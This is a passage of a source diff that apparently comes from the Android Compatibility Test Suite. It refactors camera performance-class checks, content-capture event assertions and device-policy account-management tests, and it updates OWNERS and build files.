-                reportLog.addValue("rear camera 4k support", supportUHD | supportDC4K,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
-                if (!supportUHD && !supportDC4K) {
-                    mCollector.expectTrue("Primary rear camera should support 4k video recording",
-                            !assertPerfClass);
-                    perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                } else {
+                mCollector.expectTrue("Primary rear camera should support 4k video recording",
+                        supportUHD || supportDC4K);
+                if (supportUHD || supportDC4K) {
                     long minFrameDuration = config.getOutputMinFrameDuration(
                             android.media.MediaRecorder.class, supportDC4K ? DC4K : UHD);
-                    reportLog.addValue("rear camera 4k frame duration", minFrameDuration,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
-                    if (minFrameDuration >= (1e9 / 29.9)) {
-                        mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
-                                !assertPerfClass);
-                        perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                    }
+                    mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
+                            minFrameDuration < (1e9 / 29.9));
                 }
             } else {
                 hasPrimaryFront = true;
-                if (sensorResolution < MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) {
-                    mCollector.expectTrue("Primary front camera resolution should be at least " +
-                        MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
-                        sensorResolution, !assertSPerfClass);
-                    perfClassLevelH12 = Math.min(
-                            perfClassLevelH12, CameraTestUtils.PERFORMANCE_CLASS_R);
-                }
-                if (sensorResolution < MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION) {
+                if (isSPerfClass) {
                     mCollector.expectTrue("Primary front camera resolution should be at least " +
                             MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
-                            sensorResolution, !assertRPerfClass);
-                    perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                            sensorResolution,
+                            sensorResolution >= MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION);
+                } else {
+                    mCollector.expectTrue("Primary front camera resolution should be at least " +
+                            MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION + " pixels, is "+
+                            sensorResolution,
+                            sensorResolution >= MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION);
                 }
-                reportLog.addValue("front camera resolution", sensorResolution,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
-
                 // 1080P @ 30fps
                 boolean supportFULLHD = videoSizes.contains(FULLHD);
-                reportLog.addValue("front camera 1080p support", supportFULLHD,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
-                if (!supportFULLHD) {
-                    mCollector.expectTrue(
-                            "Primary front camera should support 1080P video recording",
-                            !assertPerfClass);
-                    perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                } else {
+                mCollector.expectTrue("Primary front camera should support 1080P video recording",
+                        supportFULLHD);
+                if (supportFULLHD) {
                     long minFrameDuration = config.getOutputMinFrameDuration(
                             android.media.MediaRecorder.class, FULLHD);
-                    if (minFrameDuration >= (1e9 / 29.9)) {
-                        mCollector.expectTrue(
-                                "Primary front camera should support 1080P video @ 30fps",
-                                !assertPerfClass);
-                        perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                    }
-                    reportLog.addValue("front camera 1080p frame duration", minFrameDuration,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
+                    mCollector.expectTrue("Primary front camera should support 1080P video @ 30fps",
+                            minFrameDuration < (1e9 / 29.9));
                 }
             }
 
-            String facingString = isPrimaryRear ? "rear" : "front";
+            String facingString = hasPrimaryRear ? "rear" : "front";
             // H-1-3
-            if (assertSPerfClass || (assertRPerfClass && isPrimaryRear)) {
+            if (isSPerfClass || (isRPerfClass && isPrimaryRear)) {
                 mCollector.expectTrue("Primary " + facingString +
                         " camera should be at least FULL, but is " +
                         toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
                         staticInfo.isHardwareLevelAtLeastFull());
-            } else if (assertRPerfClass) {
+            } else {
                 mCollector.expectTrue("Primary " + facingString +
                         " camera should be at least LIMITED, but is " +
                         toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
                         staticInfo.isHardwareLevelAtLeastLimited());
             }
 
-            reportLog.addValue(facingString + " camera hardware level",
-                    staticInfo.getHardwareLevelChecked(), ResultType.NEUTRAL, ResultUnit.NONE);
-            if (isPrimaryRear) {
-                perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
-                        perfClassLevelH13);
-            } else {
-                perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
-                        staticInfo.isHardwareLevelAtLeastLimited(), perfClassLevelH13);
-            }
-
             // H-1-4
             Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE);
-            reportLog.addValue(facingString + " timestampSource",
-                    timestampSource, ResultType.NEUTRAL, ResultUnit.NONE);
-            boolean realtimeTimestamp = (timestampSource != null &&
-                    timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
             mCollector.expectTrue(
                     "Primary " + facingString + " camera should support real-time timestamp source",
-                    !assertPerfClass || realtimeTimestamp);
-            perfClassLevelH14 = updatePerfClassLevel(realtimeTimestamp, perfClassLevelH14);
+                    timestampSource != null &&
+                    timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
 
             // H-1-8
-            if (isPrimaryRear) {
-                boolean supportRaw = staticInfo.isCapabilitySupported(RAW);
-                reportLog.addValue(facingString + " camera raw support",
-                        supportRaw, ResultType.NEUTRAL, ResultUnit.NONE);
+            if (isSPerfClass && isPrimaryRear) {
                 mCollector.expectTrue("Primary rear camera should support RAW capability",
-                        !assertSPerfClass || supportRaw);
-                perfClassLevelH18 = updatePerfClassLevel(supportRaw, true /*R*/, perfClassLevelH18);
+                        staticInfo.isCapabilitySupported(RAW));
             }
         }
-        if (!hasPrimaryRear) {
-            mCollector.expectTrue("There must be a primary rear camera for performance class.",
-                    !assertPerfClass);
-            perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-        }
-        if (!hasPrimaryFront) {
-            mCollector.expectTrue("There must be a primary front camera for performance class.",
-                    !assertPerfClass);
-            perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-        }
-
-        reportLog.addValue("Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
-        final String PERF_CLASS_REQ_NUM_PREFIX = "2.2.7.2/7.5/";
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-1",
-                perfClassLevelH11, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-2",
-                perfClassLevelH12, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-3",
-                perfClassLevelH13, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-4",
-                perfClassLevelH14, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-8",
-                perfClassLevelH18, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.submit(InstrumentationRegistry.getInstrumentation());
+        mCollector.expectTrue("There must be a primary rear camera for performance class.",
+                hasPrimaryRear);
+        mCollector.expectTrue("There must be a primary front camera for performance class.",
+                hasPrimaryFront);
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 38abd12..3ae65fb 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -287,11 +287,17 @@
         for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
                 Log.i(TAG, "Testing supported video size recording for camera " + mCameraIdsUnderTest[i]);
-                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
+                if (!staticInfo.isColorOutputSupported()) {
                     Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
+                if (staticInfo.isExternalCamera()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
+                            " does not support CamcorderProfile, skipping");
+                    continue;
+                }
                 // Re-use the MediaRecorder object for the same camera device.
                 mMediaRecorder = new MediaRecorder();
                 openDevice(mCameraIdsUnderTest[i]);
@@ -574,6 +580,11 @@
                             " does not support color outputs, skipping");
                     continue;
                 }
+                if (staticInfo.isExternalCamera()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
+                            " does not support CamcorderProfile, skipping");
+                    continue;
+                }
                 // Re-use the MediaRecorder object for the same camera device.
                 mMediaRecorder = new MediaRecorder();
                 openDevice(mCameraIdsUnderTest[i]);
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 3ccf8c1..a6d4131 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -33,6 +33,7 @@
 import android.hardware.cts.helpers.CameraUtils;
 import android.media.CamcorderProfile;
 import android.media.ExifInterface;
+import android.media.MediaActionSound;
 import android.media.MediaRecorder;
 import android.os.Build;
 import android.os.ConditionVariable;
@@ -3484,6 +3485,20 @@
     }
 
     @Test
+    public void testMustPlayShutterSound() throws Exception {
+        for(int id: mCameraIds){
+            Log.v(TAG, "Camera id=" + id);
+            testMustPlayShutterSoundByCamera(id);
+        }
+    }
+
+    private void testMustPlayShutterSoundByCamera(int id) throws Exception {
+        CameraInfo info = new CameraInfo();
+        Camera.getCameraInfo(id, info);
+        assertEquals(info.canDisableShutterSound, !MediaActionSound.mustPlayShutterSound());
+    }
+
+    @Test
     public void testCameraExternalConnected() {
         if (mActivityRule.getActivity().getPackageManager().
                 hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL) ) {
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 93a90c2..136350d 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -139,8 +139,6 @@
 
     public static final String OFFLINE_CAMERA_ID = "offline_camera_id";
     public static final String REPORT_LOG_NAME = "CtsCameraTestCases";
-    public static final String MPC_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
-    public static final String MPC_STREAM_NAME = "CameraCts";
 
     private static final int EXIF_DATETIME_LENGTH = 19;
     private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60;
@@ -188,7 +186,7 @@
                     /*gpsLocation*/ sTestLocation2,
                     /* orientation */270,
                     /* jpgQuality */(byte) 100,
-                    /* thumbQuality */(byte) 100)
+                    /* thumbQuality */(byte) 80)
     };
 
     /**
@@ -2842,7 +2840,7 @@
      * <p>
      * Two images are strongly equal if and only if the data, formats, sizes,
      * and timestamps are same. For {@link ImageFormat#PRIVATE PRIVATE} format
-     * images, the image data is not not accessible thus the data comparison is
+     * images, the image data is not accessible thus the data comparison is
      * effectively skipped as the number of planes is zero.
      * </p>
      * <p>
@@ -3330,7 +3328,7 @@
                     expectedIso *= 100;
                 }
                 collector.expectInRange("Exif TAG_ISO is incorrect", iso,
-                        expectedIso/100,((expectedIso+50)/100) + MAX_ISO_MISMATCH);
+                        expectedIso/100,((expectedIso + 50)/100) + MAX_ISO_MISMATCH);
             }
         } else {
             // External camera specific checks
@@ -3742,10 +3740,8 @@
         return zoomRatios;
     }
 
-    public static final int PERFORMANCE_CLASS_NOT_MET = 0;
-    public static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
-    public static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
-    public static final int PERFORMANCE_CLASS_CURRENT = PERFORMANCE_CLASS_S;
+    private static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
+    private static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
 
     /**
      * Check whether this mobile device is R performance class as defined in CDD
diff --git a/tests/contentcaptureservice/Android.bp b/tests/contentcaptureservice/Android.bp
index f6d6ed4..91b37bf 100644
--- a/tests/contentcaptureservice/Android.bp
+++ b/tests/contentcaptureservice/Android.bp
@@ -39,4 +39,8 @@
         "general-tests",
     ],
     sdk_version: "test_current",
+    data: [
+        ":CtsOutsideOfPackageActivity",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/contentcaptureservice/OWNERS b/tests/contentcaptureservice/OWNERS
index 4135301..4bea4c8 100644
--- a/tests/contentcaptureservice/OWNERS
+++ b/tests/contentcaptureservice/OWNERS
@@ -1,7 +1,3 @@
 # Bug component: 544200
-adamhe@google.com
-augale@google.com
-joannechung@google.com
-lpeter@google.com
-svetoslavganov@google.com
-tymtsai@google.com
+
+include platform/frameworks/base:/core/java/android/view/contentcapture/OWNERS
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
index 4a32dad..18d11a3 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
@@ -299,7 +299,7 @@
     public static void assertNoViewLevelEvents(@NonNull Session session,
             @NonNull AbstractContentCaptureActivity activity) {
         assertRightActivity(session, session.id, activity);
-        final List<ContentCaptureEvent> events = removeBoundsAndInsetsEvents(session.getEvents());
+        final List<ContentCaptureEvent> events = removeUnexpectedEvents(session.getEvents());
         Log.v(TAG, "events on " + activity + ": " + events);
         assertThat(events).hasSize(2);
         assertSessionResumed(events, 0);
@@ -307,24 +307,32 @@
     }
 
     /**
-     * This method is used to remove Bounds and Insets changed events if the test should only
+     * This method is used to remove unexpected events if the test should only
      * contain session level events.
-     * In special case, there are some events, such as {@link #TYPE_WINDOW_BOUNDS_CHANGED}
-     * and {@link #TYPE_VIEW_INSETS_CHANGED}, will be accidentally generated by
-     * the system. Because these events were not expected in the test, remove
-     * them if needed.
+     * In special case, there are some events, such as {@link #TYPE_VIEW_INSETS_CHANGED},
+     * will be accidentally generated by the system. Because these events were
+     * not expected in the test, remove them if needed.
      */
-    public static List<ContentCaptureEvent> removeBoundsAndInsetsEvents(
+    public static List<ContentCaptureEvent> removeUnexpectedEvents(
             @NonNull List<ContentCaptureEvent> events) {
         return Collections.unmodifiableList(events).stream().filter(
-                e -> e.getType() != TYPE_WINDOW_BOUNDS_CHANGED
-                        && e.getType() != TYPE_VIEW_INSETS_CHANGED
+                e -> e.getType() < TYPE_VIEW_INSETS_CHANGED
                         && e.getType() != TYPE_VIEW_TREE_APPEARING
                         && e.getType() != TYPE_VIEW_TREE_APPEARED
         ).collect(Collectors.toList());
     }
 
     /**
+     * Used to remove the unknown event
+     */
+    public static List<ContentCaptureEvent> removeUnknownEvent(
+            @NonNull List<ContentCaptureEvent> events) {
+        return Collections.unmodifiableList(events).stream().filter(
+                e -> e.getType() <= TYPE_VIEW_INSETS_CHANGED
+        ).collect(Collectors.toList());
+    }
+
+    /**
      * Asserts that a session for the given activity has events at all.
      */
     public static void assertNoEvents(@NonNull Session session,
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
index 41c01ba..aa83153 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
@@ -29,7 +29,7 @@
 import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
 import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
 import static android.contentcaptureservice.cts.Assertions.assertViewsDisappeared;
-import static android.contentcaptureservice.cts.Assertions.removeBoundsAndInsetsEvents;
+import static android.contentcaptureservice.cts.Assertions.removeUnexpectedEvents;
 import static android.contentcaptureservice.cts.Helper.newImportantView;
 import static android.contentcaptureservice.cts.Helper.sContext;
 
@@ -220,7 +220,7 @@
         Log.v(TAG, "session id2: " + sessionId2);
 
         final Session session1 = service.getFinishedSession(sessionId1);
-        final List<ContentCaptureEvent> events1 = removeBoundsAndInsetsEvents(session1.getEvents());
+        final List<ContentCaptureEvent> events1 = removeUnexpectedEvents(session1.getEvents());
         Log.v(TAG, "events on " + activity1 + ": " + events1);
         assertThat(events1).hasSize(4);
         assertSessionResumed(events1, 0);
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
index ad79e02..6f6aac2 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
@@ -16,9 +16,6 @@
 package android.contentcaptureservice.cts;
 
 import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
-import static android.contentcaptureservice.cts.Assertions.assertViewTextChanged;
-import static android.contentcaptureservice.cts.Assertions.assertVirtualViewAppeared;
-import static android.contentcaptureservice.cts.Assertions.assertVirtualViewsDisappeared;
 import static android.contentcaptureservice.cts.Helper.MY_PACKAGE;
 import static android.contentcaptureservice.cts.Helper.NO_ACTIVITIES;
 import static android.contentcaptureservice.cts.Helper.OTHER_PACKAGE;
@@ -278,14 +275,11 @@
         final AutofillId customViewId = activity.mCustomView.getAutofillId();
         final ContentCaptureSession mainSession = activity.mCustomView.getContentCaptureSession();
 
-        final int i = CustomViewActivity.MIN_EVENTS;
-
-        assertVirtualViewAppeared(events, i, mainSession, customViewId, 1, "child1");
-        assertVirtualViewAppeared(events, i + 1, mainSession, customViewId, 2, "child2");
-        assertViewTextChanged(events, i + 2, child2IdRef.get(), "The Times They Are a-Changin'");
-        assertVirtualViewsDisappeared(events, i + 3, customViewId, mainSession, 2, 1);
-
-        activity.assertInitialViewsDisappeared(events, additionalEvents);
+        new EventsAssertor(events)
+                .assertVirtualViewAppeared(mainSession, customViewId, 1, "child1")
+                .assertVirtualViewAppeared(mainSession, customViewId, 2, "child2")
+                .assertViewTextChanged(child2IdRef.get(), "The Times They Are a-Changin'")
+                .assertVirtualViewsDisappeared(customViewId, mainSession, 2, 1);
         // TODO(b/122315042): assert views disappeared
     }
 
@@ -392,18 +386,15 @@
         final AutofillId customViewId = activity.mCustomView.getAutofillId();
         final ContentCaptureSession mainSession = activity.mCustomView.getContentCaptureSession();
 
-        final int i = CustomViewActivity.MIN_EVENTS;
-
-        assertVirtualViewAppeared(events, i, mainSession, customViewId, 1, "c1");
-        assertVirtualViewAppeared(events, i + 1, mainSession, customViewId, 11, "c1g1");
-        assertVirtualViewAppeared(events, i + 2, mainSession, customViewId, 12, "c1g2");
-        assertVirtualViewAppeared(events, i + 3, mainSession, customViewId, 2, "c2");
-        assertVirtualViewAppeared(events, i + 4, mainSession, customViewId, 21, "c2g1");
-        assertVirtualViewAppeared(events, i + 5, mainSession, customViewId, 211, "c2g1gg1");
-        assertVirtualViewAppeared(events, i + 6, mainSession, customViewId, 3, "c3");
-        assertVirtualViewsDisappeared(events, i + 7, customViewId, mainSession, 21, 2, 11, 1, 12);
-
-        activity.assertInitialViewsDisappeared(events, additionalEvents);
+        new EventsAssertor(events)
+                .assertVirtualViewAppeared(mainSession, customViewId, 1, "c1")
+                .assertVirtualViewAppeared(mainSession, customViewId, 11, "c1g1")
+                .assertVirtualViewAppeared(mainSession, customViewId, 12, "c1g2")
+                .assertVirtualViewAppeared(mainSession, customViewId, 2, "c2")
+                .assertVirtualViewAppeared(mainSession, customViewId, 21, "c2g1")
+                .assertVirtualViewAppeared(mainSession, customViewId, 211, "c2g1gg1")
+                .assertVirtualViewAppeared(mainSession, customViewId, 3, "c3")
+                .assertVirtualViewsDisappeared(customViewId, mainSession, 21, 2, 11, 1, 12);
         // TODO(b/122315042): assert other views disappeared
     }
 
@@ -458,13 +449,10 @@
         final AutofillId customViewId = activity.mCustomView.getAutofillId();
         final ContentCaptureSession mainSession = activity.mCustomView.getContentCaptureSession();
 
-        final int i = CustomViewActivity.MIN_EVENTS;
-
-        assertVirtualViewAppeared(events, i, mainSession, customViewId, 1, "child1");
-        assertVirtualViewAppeared(events, i + 1, mainSession, customViewId, 2, "child2");
-        assertVirtualViewsDisappeared(events, i + 2, customViewId, mainSession, 2, 1);
-
-        activity.assertInitialViewsDisappeared(events, additionalEvents);
+        new EventsAssertor(events)
+                .assertVirtualViewAppeared(mainSession, customViewId, 1, "child1")
+                .assertVirtualViewAppeared(mainSession, customViewId, 2, "child2")
+                .assertVirtualViewsDisappeared(customViewId, mainSession, 2, 1);
         // TODO(b/122315042): assert other views disappeared
     }
 
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java
index d00b031..eaf07f9 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java
@@ -200,6 +200,18 @@
     }
 
     /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_TEXT_CHANGED} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewTextChanged(@NonNull AutofillId expectedId,
+            @NonNull String expectedText) {
+        assertNextEvent((event) -> assertTextChangedEvent(event, expectedId, expectedText),
+                ContentCaptureEvent.TYPE_VIEW_TEXT_CHANGED,
+                String.format("no VIEW_TEXT_CHANGED event for %s", expectedId));
+        return this;
+    }
+
+    /**
      * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
      * event for a virtual node.
      */
@@ -223,14 +235,30 @@
         return assertViewDisappeared(session.newAutofillId(parentId, childId));
     }
 
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_DISAPPEARED}
+     * event for many virtual nodes.
+     */
+    @NonNull
+    public EventsAssertor assertVirtualViewsDisappeared(AutofillId parentId,
+            ContentCaptureSession session, int... childId) {
+        final AutofillId[] ids = new AutofillId[childId.length];
+        for (int i = 0; i < childId.length; i++) {
+            ids[i] = session.newAutofillId(parentId, childId[i]);
+        }
+        return assertViewDisappeared(ids);
+    }
+
     @Nullable
     private String assertVirtualViewEvent(@NonNull ContentCaptureEvent event,
             @NonNull AutofillId expectedId, @Nullable String expectedText) {
         final ViewNode node = event.getViewNode();
         assertThat(node).isNotNull();
-        assertWithMessage("wrong autofill id on %s", event)
-                .that(node.getAutofillId()).isEqualTo(expectedId);
-        if (expectedText != null) {
+        if (!node.getAutofillId().equals(expectedId)) {
+            return String.format("wrong autofill id (expected %s, actual is %s) at %s",
+                    expectedId, node.getAutofillId(), event);
+        }
+        if (expectedText != null && node.getText() != null) {
             assertWithMessage("wrong text on %s", event)
                     .that(node.getText().toString()).isEqualTo(expectedText);
         } else {
@@ -266,6 +294,16 @@
         return null;
     }
 
+    @Nullable
+    private String assertTextChangedEvent(@NonNull ContentCaptureEvent event,
+            @NonNull AutofillId expectedId, @NonNull String expectedText) {
+        assertWithMessage("Wrong id on %s", event).that(event.getId())
+                .isEqualTo(expectedId);
+        assertWithMessage("Wrong text on %s", event).that(event.getText().toString())
+                .isEqualTo(expectedText);
+        return null;
+    }
+
     private void assertCommonViewDisappearedProperties(@NonNull ContentCaptureEvent event) {
         assertWithMessage("event %s should not have a ViewNode", event)
                 .that(event.getViewNode()).isNull();
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java
index 3747e2b..0857828 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java
@@ -23,6 +23,7 @@
 import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
 import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
 import static android.contentcaptureservice.cts.Assertions.assertViewsOptionallyDisappeared;
+import static android.contentcaptureservice.cts.Assertions.removeUnknownEvent;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -106,7 +107,7 @@
         assertSessionId(sessionId, activity.mPassword);
         assertSessionId(sessionId, activity.mPasswordLabel);
 
-        final List<ContentCaptureEvent> events = session.getEvents();
+        final List<ContentCaptureEvent> events = removeUnknownEvent(session.getEvents());
         Log.v(TAG, "events(" + events.size() + "): " + events);
         // TODO(b/123540067): ideally it should be X so it reflects just the views defined
         // in the layout - right now it's generating events for 2 intermediate parents
diff --git a/tests/controls/src/android/controls/cts/CtsControlsPublisher.java b/tests/controls/src/android/controls/cts/CtsControlsPublisher.java
index 643d80e..c8c09c8 100644
--- a/tests/controls/src/android/controls/cts/CtsControlsPublisher.java
+++ b/tests/controls/src/android/controls/cts/CtsControlsPublisher.java
@@ -38,7 +38,7 @@
         }
     }
 
-    public void subscribe​(Subscriber<? super Control> subscriber) {
+    public void subscribe(Subscriber<? super Control> subscriber) {
         mSubscriber = subscriber;
         mSubscriber.onSubscribe(new Subscription() {
                 public void request(long n) {
diff --git a/tests/devicepolicy/OWNERS b/tests/devicepolicy/OWNERS
index 19b6194..cf88726 100644
--- a/tests/devicepolicy/OWNERS
+++ b/tests/devicepolicy/OWNERS
@@ -1,2 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index 9c5938e..1b1eb9c 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -16,6 +16,8 @@
 
 package android.devicepolicy.cts;
 
+import static android.os.UserManager.DISALLOW_MODIFY_ACCOUNTS;
+
 import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
 import static com.android.queryable.queries.ServiceQuery.service;
 
@@ -25,7 +27,6 @@
 
 import android.accounts.Account;
 import android.accounts.AccountManager;
-import android.accounts.AuthenticatorException;
 import android.accounts.OperationCanceledException;
 import android.app.admin.RemoteDevicePolicyManager;
 import android.content.ComponentName;
@@ -49,13 +50,10 @@
 
 import org.junit.Before;
 import org.junit.ClassRule;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.IOException;
-
 @RunWith(BedsteadJUnit4.class)
 public final class AccountManagementTest {
     @ClassRule
@@ -158,78 +156,64 @@
         assertThat(mDpm.getAccountTypesWithManagementDisabled()).isEmpty();
     }
 
-    @Ignore("b/197491427")
     @Test
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_fromDpcWithAccountManagementDisabled_accountAdded()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
-            // TODO(b/197491427): AccountManager support in TestApp
-            // Do the following steps on the TestApp side:
-            // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
 
-            // assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
-            //        .isEqualTo(EXISTING_ACCOUNT_TYPE);
+            assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+                    .isEqualTo(EXISTING_ACCOUNT_TYPE);
         } finally {
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
-            // TODO(b/197491427): AccountManager support in TestApp
-            // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
         }
     }
 
-    @Ignore("b/197491427")
     @Test
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_fromDpcWithDisallowModifyAccountsRestriction_accountAdded()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
-            mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+            mDpm.addUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
-            // TODO(b/197491427): AccountManager support in TestApp
-            // Do the following steps on the TestApp side:
-            // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
 
-            //assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
